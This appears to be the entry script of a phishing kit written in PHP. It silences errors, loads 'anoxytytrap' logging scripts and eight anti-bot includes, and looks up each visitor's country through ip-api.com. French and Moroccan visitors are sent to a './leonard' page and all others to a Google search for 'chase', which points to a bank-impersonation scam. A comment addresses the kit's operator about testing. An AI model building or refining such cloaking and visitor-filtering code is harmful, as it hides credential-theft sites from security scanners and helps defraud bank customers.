<?php 
@error_reporting(0);
ini_set( "display_errors", 0); 
require_once 'anoxytytrap/logger.php';
include 'anoxytytrap/bite.php';
include 'anoxytytrap/country.php';
include "bots/anti1.php";
include "bots/anti2.php";
include "bots/anti3.php";
include "bots/anti4.php";
include "bots/anti5.php";
include "bots/anti6.php";
include "bots/anti7.php";
include "bots/anti8.php";
/*       
                           ______
        |\_______________ (_____\\______________
HH======#H###############H#######################
        ' ~""""""""""""""`##(_))#H\"""""Y########
                          ))    \#H\       `"Y###
                          "      }#H)
*/
	



function getClientIp() {
    $ipaddress = '';
    if (isset($_SERVER['HTTP_CLIENT_IP']))
        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
    else if(isset($_SERVER['HTTP_CF_CONNECTING_IP']))
        $ipaddress = $_SERVER['HTTP_CF_CONNECTING_IP'];
    else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
        $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
    else if(isset($_SERVER['REMOTE_ADDR']))
        $ipaddress = $_SERVER['REMOTE_ADDR'];
    else
        $ipaddress = 'UNKNOWN';
    return explode(',', $ipaddress)[0];
}

$ip = getClientIp();

// Allow localhost access
if ($ip == '127.0.0.1' || $ip == '::1') {
    $countrycode = 'FR'; 
} else {
    $url = "http://ip-api.com/json/".trim($ip);
    $ch = curl_init();  
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $resp=curl_exec($ch);
    curl_close($ch);
    $details = json_decode($resp, true);
    $countrycode = isset($details['countryCode']) ? $details['countryCode'] : '';
}
 
// Added 'MA' (Morocco) as you are probably testing from there, remove it later if you only want 'FR'
if($countrycode == 'FR' || $countrycode == 'MA')
    header( 'Location: ./leonard' ) ;
else 
   header('Location: https://www.google.com/search?q=chase&oq=chase&aqs=chrome.0.69i59l4j69i60l4.1889j0j8&sourceid=chrome&ie=UTF-8');
?>